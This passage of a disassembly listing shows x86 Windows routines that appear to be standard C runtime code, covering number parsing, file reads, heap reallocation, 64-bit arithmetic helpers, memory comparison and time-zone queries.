[ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41AAED add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_416C32 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_416C3F ; --------------------------------------------------------------------------- loc_416C32: ; CODE XREF: sub_416BF4+34j lea eax, [ebp+var_20] push eax push 0 call sub_41A9D8 pop ecx pop ecx loc_416C3F: ; CODE XREF: sub_416BF4+3Cj mov eax, esi pop esi leave retn sub_416BF4 endp ; =============== S U B R O U T I N E ======================================= sub_416C44 proc near ; CODE XREF: sub_416CCF+4p ; sub_41F1B2+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_416C4C: ; CODE XREF: sub_416C44+34j cmp dword_435E38, 1 jle short loc_416C64 movzx eax, byte ptr [edi] push 8 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_416C73 ; --------------------------------------------------------------------------- loc_416C64: ; CODE XREF: sub_416C44+Fj movzx eax, byte ptr [edi] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 8 loc_416C73: ; CODE XREF: sub_416C44+1Ej test eax, eax jz short loc_416C7A inc edi jmp short loc_416C4C ; --------------------------------------------------------------------------- loc_416C7A: ; CODE XREF: sub_416C44+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_416C8A cmp esi, 2Bh jnz short loc_416C8E loc_416C8A: ; CODE XREF: sub_416C44+3Fj movzx esi, byte ptr [edi] inc edi loc_416C8E: ; CODE XREF: sub_416C44+44j xor ebx, ebx loc_416C90: ; CODE XREF: sub_416C44+7Bj cmp dword_435E38, 1 jle short loc_416CA5 push 4 push esi call sub_41BDD1 pop ecx pop ecx jmp short loc_416CB0 ; --------------------------------------------------------------------------- loc_416CA5: ; CODE XREF: sub_416C44+53j mov eax, off_435C2C mov al, [eax+esi*2] and eax, 4 loc_416CB0: ; CODE XREF: sub_416C44+5Fj test eax, eax jz short loc_416CC1 lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_416C90 ; --------------------------------------------------------------------------- loc_416CC1: ; CODE XREF: sub_416C44+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_416CCA neg eax loc_416CCA: ; CODE XREF: sub_416C44+82j pop edi pop esi pop ebp pop ebx retn sub_416C44 endp ; =============== S U B R O U T I N E ======================================= sub_416CCF proc near ; CODE XREF: .text:004046BFp ; .text:0040483Dp ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_416C44 pop ecx retn sub_416CCF endp ; --------------------------------------------------------------------------- push ecx push ebx push ebp push esi push edi mov edi, [esp+18h] loc_416CE3: ; CODE XREF: .text:00416D0Fj cmp dword_435E38, 1 jle short loc_416CFB movzx eax, byte ptr [edi] push 8 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_416D0A ; --------------------------------------------------------------------------- loc_416CFB: ; CODE XREF: .text:00416CEAj movzx eax, byte ptr [edi] mov ecx, off_435C2C mov al, [ecx+eax*2] and eax, 8 loc_416D0A: ; CODE XREF: .text:00416CF9j test eax, eax jz short loc_416D11 inc edi jmp short loc_416CE3 ; --------------------------------------------------------------------------- loc_416D11: ; CODE XREF: .text:00416D0Cj movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov [esp+10h], esi jz short loc_416D23 cmp esi, 2Bh jnz short loc_416D27 loc_416D23: ; CODE XREF: .text:00416D1Cj movzx esi, byte ptr [edi] inc edi loc_416D27: ; CODE XREF: .text:00416D21j xor ebx, ebx xor ebp, ebp loc_416D2B: ; CODE XREF: .text:00416D76j cmp dword_435E38, 1 jle short loc_416D40 push 4 push esi call sub_41BDD1 pop ecx pop ecx jmp short loc_416D4B ; --------------------------------------------------------------------------- loc_416D40: ; CODE XREF: .text:00416D32j mov eax, off_435C2C mov al, [eax+esi*2] and eax, 4 loc_416D4B: ; CODE XREF: .text:00416D3Ej test eax, eax jz short loc_416D78 lea eax, [esi-30h] push 0 cdq mov esi, eax push 0Ah push ebp mov [esp+24h], esi push ebx mov esi, edx call sub_417E10 mov ecx, [esp+18h] add ecx, eax adc esi, edx mov ebx, ecx mov ebp, esi movzx esi, byte ptr [edi] inc edi jmp short loc_416D2B ; --------------------------------------------------------------------------- loc_416D78: ; CODE XREF: .text:00416D4Dj cmp dword ptr [esp+10h], 2Dh mov eax, ebx jnz short loc_416D8C neg eax mov edx, ebp adc edx, 0 neg edx jmp short loc_416D8E ; --------------------------------------------------------------------------- loc_416D8C: ; CODE XREF: .text:00416D7Fj mov edx, ebp loc_416D8E: ; CODE XREF: .text:00416D8Aj pop edi pop esi pop ebp pop ebx pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_416D94 proc near ; CODE XREF: sub_404A47+64p ; sub_40636F+7Cp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_416DA9 or eax, 0FFFFFFFFh jmp short loc_416DE3 ; --------------------------------------------------------------------------- loc_416DA9: ; CODE XREF: sub_416D94+Ej test al, 83h jz short loc_416DE1 push esi call sub_41BF5F push esi mov edi, eax call sub_41BEF9 push dword ptr [esi+10h] call sub_41BE46 add esp, 0Ch test eax, eax jge short loc_416DCF or edi, 0FFFFFFFFh jmp short loc_416DE1 ; --------------------------------------------------------------------------- loc_416DCF: ; CODE XREF: sub_416D94+34j mov eax, [esi+1Ch] test eax, eax jz short loc_416DE1 push eax call sub_415D6C and dword ptr [esi+1Ch], 0 pop ecx loc_416DE1: ; CODE XREF: sub_416D94+17j ; sub_416D94+39j ... mov eax, edi loc_416DE3: ; CODE XREF: sub_416D94+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_416D94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DEA proc near ; CODE XREF: sub_404A47+45p ; sub_40636F+4Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_416E0E xor eax, eax jmp loc_416EB7 ; --------------------------------------------------------------------------- loc_416E0E: ; CODE XREF: sub_416DEA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416E21 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_416E2D ; --------------------------------------------------------------------------- loc_416E21: ; CODE XREF: sub_416DEA+2Dj mov [ebp+arg_C], 1000h jmp short loc_416E2D ; --------------------------------------------------------------------------- loc_416E2A: ; CODE XREF: sub_416DEA+C4j mov ecx, [ebp+arg_0] loc_416E2D: ; CODE XREF: sub_416DEA+35j ; sub_416DEA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_416E5F mov eax, [esi+4] test eax, eax jz short loc_416E5F cmp ecx, eax mov edi, ecx jb short loc_416E44 mov edi, eax loc_416E44: ; CODE XREF: sub_416DEA+56j push edi push dword ptr [esi] push ebx call sub_415960 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_416EAA ; --------------------------------------------------------------------------- loc_416E5F: ; CODE XREF: sub_416DEA+49j ; sub_416DEA+50j cmp ecx, [ebp+arg_C] jb short loc_416E92 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_416E75 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_416E75: ; CODE XREF: sub_416DEA+80j push eax push ebx push dword ptr [esi+10h] call sub_41C10A add esp, 0Ch test eax, eax jz short loc_416EBC cmp eax, 0FFFFFFFFh jz short loc_416EC2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_416EAA ; --------------------------------------------------------------------------- loc_416E92: ; CODE XREF: sub_416DEA+78j push esi call sub_41C031 cmp eax, 0FFFFFFFFh pop ecx jz short loc_416EC6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_416EAA: ; CODE XREF: sub_416DEA+73j ; sub_416DEA+A6j cmp [ebp+arg_0], 0 jnz loc_416E2A mov eax, [ebp+arg_8] loc_416EB7: ; CODE XREF: sub_416DEA+1Fj ; sub_416DEA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_416EBC: ; CODE XREF: sub_416DEA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_416EC6 ; --------------------------------------------------------------------------- loc_416EC2: ; CODE XREF: sub_416DEA+9Fj or dword ptr [esi+0Ch], 20h loc_416EC6: ; CODE XREF: sub_416DEA+B2j ; sub_416DEA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_416EB7 sub_416DEA endp ; =============== S U B R O U T I N E ======================================= sub_416ED2 proc near ; CODE XREF: sub_404A47+2Ep ; sub_416773+35p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push ebp push esi test ebx, ebx push edi jnz short loc_416EED push [esp+10h+arg_4] call sub_415CF8 pop ecx jmp loc_416FED ; --------------------------------------------------------------------------- loc_416EED: ; CODE XREF: sub_416ED2+Aj mov esi, [esp+10h+arg_4] test esi, esi jnz short loc_416F03 push ebx call sub_415D6C pop ecx loc_416EFC: ; CODE XREF: sub_416ED2+114j xor eax, eax jmp loc_416FED ; --------------------------------------------------------------------------- loc_416F03: ; CODE XREF: sub_416ED2+21j ; sub_416ED2+10Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_416FCE push ebx call sub_418317 mov ebp, eax pop ecx test ebp, ebp jz loc_416FAB cmp esi, dword_435AC8 ja short loc_416F6B push esi push ebx push ebp call sub_418B22 add esp, 0Ch test eax, eax jz short loc_416F3A mov edi, ebx jmp short loc_416F63 ; --------------------------------------------------------------------------- loc_416F3A: ; CODE XREF: sub_416ED2+62j push esi call sub_41866D mov edi, eax pop ecx test edi, edi jz short loc_416F6B mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_416F51 mov eax, esi loc_416F51: ; CODE XREF: sub_416ED2+7Bj push eax push ebx push edi call sub_415960 push ebx push ebp call sub_418342 add esp, 14h loc_416F63: ; CODE XREF: sub_416ED2+66j test edi, edi jnz loc_416FEB loc_416F6B: ; CODE XREF: sub_416ED2+53j ; sub_416ED2+73j test esi, esi jnz short loc_416F72 push 1 pop esi loc_416F72: ; CODE XREF: sub_416ED2+9Bj add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_49426C call ds:dword_495428 ; RtlAllocateHeap mov edi, eax test edi, edi jz short loc_416FCE mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_416F97 mov eax, esi loc_416F97: ; CODE XREF: sub_416ED2+C1j push eax push ebx push edi call sub_415960 push ebx push ebp call sub_418342 add esp, 14h jmp short loc_416FCA ; --------------------------------------------------------------------------- loc_416FAB: ; CODE XREF: sub_416ED2+47j test esi, esi jnz short loc_416FB2 push 1 pop esi loc_416FB2: ; CODE XREF: sub_416ED2+DBj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push 0 push dword_49426C call ds:dword_495434 ; RtlReAllocateHeap mov edi, eax loc_416FCA: ; CODE XREF: sub_416ED2+D7j test edi, edi jnz short loc_416FEB loc_416FCE: ; CODE XREF: sub_416ED2+36j ; sub_416ED2+B9j cmp dword_49284C, 0 jz short loc_416FEB push esi call sub_4181F0 test eax, eax pop ecx jnz loc_416F03 jmp loc_416EFC ; --------------------------------------------------------------------------- loc_416FEB: ; CODE XREF: sub_416ED2+93j ; sub_416ED2+FAj ... mov eax, edi loc_416FED: ; CODE XREF: sub_416ED2+16j ; sub_416ED2+2Cj pop edi pop esi pop ebp pop ebx retn sub_416ED2 endp ; =============== S U B R O U T I N E ======================================= sub_416FF2 proc near ; CODE XREF: sub_417012+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41C470 test eax, eax jnz short loc_416FFC retn ; --------------------------------------------------------------------------- loc_416FFC: ; CODE XREF: sub_416FF2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C300 add esp, 10h retn sub_416FF2 endp ; =============== S U B R O U T I N E ======================================= sub_417012 proc near ; CODE XREF: sub_404A47+18p ; sub_40636F+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_416FF2 add esp, 0Ch retn sub_417012 endp ; =============== S U B R O U T I N E ======================================= sub_417025 proc near ; CODE XREF: sub_40539F+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call ds:dword_495374 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_417045 call ds:dword_495328 ; RtlGetLastWin32Error push eax call sub_41C4E8 pop ecx loc_417041: ; CODE XREF: sub_417025+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_417045: ; CODE XREF: sub_417025+Dj test al, 1 jz short loc_417066 test [esp+arg_4], 2 jz short loc_417066 mov dword_4927F4, 0Dh mov dword_4927F8, 5 jmp short loc_417041 ; --------------------------------------------------------------------------- loc_417066: ; CODE XREF: sub_417025+22j ; sub_417025+29j xor eax, eax retn sub_417025 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417070 proc near ; CODE XREF: sub_4053BF+3Fp ; sub_4140AD+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_417092 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4170D3 ; --------------------------------------------------------------------------- loc_417092: ; CODE XREF: sub_417070+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4170A0: ; CODE XREF: sub_417070+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4170A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4170CE cmp edx, [esp+8+arg_4] ja short loc_4170CE jb short loc_4170CF cmp eax, [esp+8+arg_0] jbe short loc_4170CF loc_4170CE: ; CODE XREF: sub_417070+4Ej ; sub_417070+54j dec esi loc_4170CF: ; CODE XREF: sub_417070+56j ; sub_417070+5Cj xor edx, edx mov eax, esi loc_4170D3: ; CODE XREF: sub_417070+20j pop esi pop ebx retn 10h sub_417070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4170E0 proc near ; CODE XREF: sub_4053BF+2Dp ; sub_4140AD+3Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_417101 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_417151 ; --------------------------------------------------------------------------- loc_417101: ; CODE XREF: sub_4170E0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_41710F: ; CODE XREF: sub_4170E0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_41710F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_41713A cmp edx, [esp+4+arg_4] ja short loc_41713A jb short loc_417142 cmp eax, [esp+4+arg_0] jbe short loc_417142 loc_41713A: ; CODE XREF: sub_4170E0+4Aj ; sub_4170E0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_417142: ; CODE XREF: sub_4170E0+52j ; sub_4170E0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_417151: ; CODE XREF: sub_4170E0+1Fj pop ebx retn 10h sub_4170E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417160 proc near ; CODE XREF: sub_405512+5Fp ; sub_405512+90p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_417181 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_417181: ; CODE XREF: sub_417160+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41719D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41719D: ; CODE XREF: sub_417160+27j or eax, eax jnz short loc_4171B9 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4171FA ; --------------------------------------------------------------------------- loc_4171B9: ; CODE XREF: sub_417160+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4171C7: ; CODE XREF: sub_417160+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4171C7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4171F5 cmp edx, [esp+0Ch+arg_4] ja short loc_4171F5 jb short loc_4171F6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4171F6 loc_4171F5: ; CODE XREF: sub_417160+85j ; sub_417160+8Bj dec esi loc_4171F6: ; CODE XREF: sub_417160+8Dj ; sub_417160+93j xor edx, edx mov eax, esi loc_4171FA: ; CODE XREF: sub_417160+57j dec edi jnz short loc_417204 neg edx neg eax sbb edx, 0 loc_417204: ; CODE XREF: sub_417160+9Bj pop ebx pop esi pop edi retn 10h sub_417160 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417210 proc near ; CODE XREF: sub_405941+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41725C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41725D test eax, 1 jz short loc_41723D mov cl, [esi] cmp cl, [edi] jnz short loc_41728A inc esi inc edi dec eax jz short loc_41725A loc_41723D: ; CODE XREF: sub_417210+20j ; sub_417210+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41728A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41728A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41723D loc_41725A: ; CODE XREF: sub_417210+2Bj ; sub_417210+84j pop edi pop esi locret_41725C: ; CODE XREF: sub_417210+6j retn ; --------------------------------------------------------------------------- loc_41725D: ; CODE XREF: sub_417210+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_417292 repe cmpsd jz short loc_417292 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_417285 cmp ch, dh jnz short loc_417285 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_417285 cmp ch, dh loc_417285: ; CODE XREF: sub_417210+63j ; sub_417210+67j ... mov eax, 0 loc_41728A: ; CODE XREF: sub_417210+26j ; sub_417210+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_417292: ; CODE XREF: sub_417210+55j ; sub_417210+59j test eax, eax jz short loc_41725A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_417285 dec eax jz short loc_4172B9 cmp dh, ch jnz short loc_417285 dec eax jz short loc_4172B9 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_417285 dec eax loc_4172B9: ; CODE XREF: sub_417210+8Fj ; sub_417210+96j pop edi pop esi retn sub_417210 endp ; --------------------------------------------------------------------------- push 0 push dword ptr [esp+10h] push dword ptr [esp+10h] push dword ptr [esp+10h] call sub_4172D3 add esp, 10h retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172D3 proc near ; CODE XREF: .text:004172CAp ; sub_4174DB+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_4172EB: ; CODE XREF: sub_4172D3+46j cmp dword_435E38, 1 jle short loc_417303 movzx eax, bl push 8 push eax call sub_41BDD1 pop ecx pop ecx jmp short loc_417312 ; --------------------------------------------------------------------------- loc_417303: ; CODE XREF: sub_4172D3+1Fj mov ecx, off_435C2C movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_417312: ; CODE XREF: sub_4172D3+2Ej test eax, eax jz short loc_41731B mov bl, [esi] inc esi jmp short loc_4172EB ; --------------------------------------------------------------------------- loc_41731B: ; CODE XREF: sub_4172D3+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_417329 or [ebp+arg_C], 2 jmp short loc_41732E ; --------------------------------------------------------------------------- loc_417329: ; CODE XREF: sub_4172D3+4Ej cmp bl, 2Bh jnz short loc_417334 loc_41732E: ; CODE XREF: sub_4172D3+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_417334: ; CODE XREF: sub_4172D3+59j mov eax, [ebp+arg_8] test eax, eax jl loc_4174CB cmp eax, 1 jz loc_4174CB cmp eax, 24h jg loc_4174CB push 10h test eax, eax pop ecx jnz short loc_41737C cmp bl, 30h jz short loc_417366 mov [ebp+arg_8], 0Ah jmp short loc_417398 ; --------------------------------------------------------------------------- loc_417366: ; CODE XREF: sub_4172D3+88j mov al, [esi] cmp al, 78h jz short loc_417379 cmp al, 58h jz short loc_417379 mov [ebp+arg_8], 8 jmp short loc_417398 ; --------------------------------------------------------------------------- loc_417379: ; CODE XREF: sub_4172D3+97j ; sub_4172D3+9Bj mov [ebp+arg_8], ecx loc_41737C: ; CODE XREF: sub_4172D3+83j cmp [ebp+arg_8], ecx jnz short loc_417398 cmp bl, 30h jnz short loc_417398 mov al, [esi] cmp al, 78h jz short loc_417390 cmp al, 58h jnz short loc_417398 loc_417390: ; CODE XREF: sub_4172D3+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_417398: ; CODE XREF: sub_4172D3+91j ; sub_4172D3+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_4173A8: ; CODE XREF: sub_4172D3+16Cj cmp dword_435E38, 1 movzx esi, bl jle short loc_4173C0 push 4 push esi call sub_41BDD1 pop ecx pop ecx jmp short loc_4173CB ; --------------------------------------------------------------------------- loc_4173C0: ; CODE XREF: sub_4172D3+DFj mov eax, off_435C2C mov al, [eax+esi*2] and eax, 4 loc_4173CB: ; CODE XREF: sub_4172D3+EBj test eax, eax jz short loc_4173D7 movsx ecx, bl sub ecx, 30h jmp short loc_417409 ; --------------------------------------------------------------------------- loc_4173D7: ; CODE XREF: sub_4172D3+FAj cmp dword_435E38, 1 jle short loc_4173EB push edi push esi call sub_41BDD1 pop ecx pop ecx jmp short loc_4173F6 ; --------------------------------------------------------------------------- loc_4173EB: ; CODE XREF: sub_4172D3+10Bj mov eax, off_435C2C mov ax, [eax+esi*2] and eax, edi loc_4173F6: ; CODE XREF: sub_4172D3+116j test eax, eax jz short loc_417444 movsx eax, bl push eax call sub_41C557 pop ecx mov ecx, eax sub ecx, 37h loc_417409: ; CODE XREF: sub_4172D3+102j cmp ecx, [ebp+arg_8] jnb short loc_417444 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41742E jnz short loc_417428 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41742E loc_417428: ; CODE XREF: sub_4172D3+147j or [ebp+arg_C], 4 jmp short loc_417437 ; --------------------------------------------------------------------------- loc_41742E: ; CODE XREF: sub_4172D3+145j ; sub_4172D3+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_417437: ; CODE XREF: sub_4172D3+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_4173A8 ; --------------------------------------------------------------------------- loc_417444: ; CODE XREF: sub_4172D3+125j ; sub_4172D3+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_417462 test edx, edx jz short loc_41745C mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41745C: ; CODE XREF: sub_4172D3+181j and [ebp+var_8], 0 jmp short loc_4174AF ; --------------------------------------------------------------------------- loc_417462: ; CODE XREF: sub_4172D3+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_417488 test cl, 1 jnz short loc_4174AF and ecx, 2 jz short loc_41747F cmp [ebp+var_8], 80000000h ja short loc_417488 loc_41747F: ; CODE XREF: sub_4172D3+1A1j test ecx, ecx jnz short loc_4174AF cmp [ebp+var_8], eax jbe short loc_4174AF loc_417488: ; CODE XREF: sub_4172D3+197j ; sub_4172D3+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4927F4, 22h jz short loc_41749E or [ebp+var_8], 0FFFFFFFFh jmp short loc_4174AF ; --------------------------------------------------------------------------- loc_41749E: ; CODE XREF: sub_4172D3+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_4174AF: ; CODE XREF: sub_4172D3+18Dj ; sub_4172D3+19Cj ... test edx, edx jz short loc_4174B8 mov eax, [ebp+var_4] mov [edx], eax loc_4174B8: ; CODE XREF: sub_4172D3+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_4174C6 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_4174C6: ; CODE XREF: sub_4172D3+1E9j mov eax, [ebp+var_8] jmp short loc_4174D6 ; --------------------------------------------------------------------------- loc_4174CB: ; CODE XREF: sub_4172D3+66j ; sub_4172D3+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_4174D4 mov [eax], edi loc_4174D4: ; CODE XREF: sub_4172D3+1FDj xor eax, eax loc_4174D6: ; CODE XREF: sub_4172D3+1F6j pop edi pop esi pop ebx leave retn sub_4172D3 endp ; =============== S U B R O U T I N E ======================================= sub_4174DB proc near ; CODE XREF: .text:0040600Dp ; sub_4087B3+2848p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_4172D3 add esp, 10h retn sub_4174DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4174F2 proc near ; CODE XREF: .text:00405B9Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call ds:dword_49534C ; GetLocalTime lea eax, [ebp+var_20] push eax call ds:dword_49543C ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_4927EA jnz short loc_417557 mov ax, [ebp+var_18] cmp ax, word_4927E8 jnz short loc_417557 mov ax, [ebp+var_1A] cmp ax, word_4927E6 jnz short loc_417557 mov ax, [ebp+var_1E] cmp ax, word_4927E2 jnz short loc_417557 mov ax, [ebp+var_20] cmp ax, word_4927E0 jnz short loc_417557 mov eax, dword_4927D8 jmp short loc_41759C ; --------------------------------------------------------------------------- loc_417557: ; CODE XREF: sub_4174F2+28j ; sub_4174F2+35j ... lea eax, [ebp+var_CC] push eax call ds:dword_495438 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_417584 cmp eax, 2 jnz short loc_417580 cmp [ebp+var_32], 0 jz short loc_417580 cmp [ebp+var_24], 0 jz short loc_417580 push 1 pop eax jmp short loc_417587 ; --------------------------------------------------------------------------- loc_417580: ; CODE XREF: sub_4174F2+7Aj ; sub_4174F2+81j ... xor eax, eax jmp short loc_417587 ; --------------------------------------------------------------------------- loc_417584: ; CODE XREF: sub_4174F2+75j or eax, 0FFFFFFFFh loc_417587: ; CODE XREF: sub_4174F2+8Cj ; sub_4174F2+90j push esi push edi lea esi, 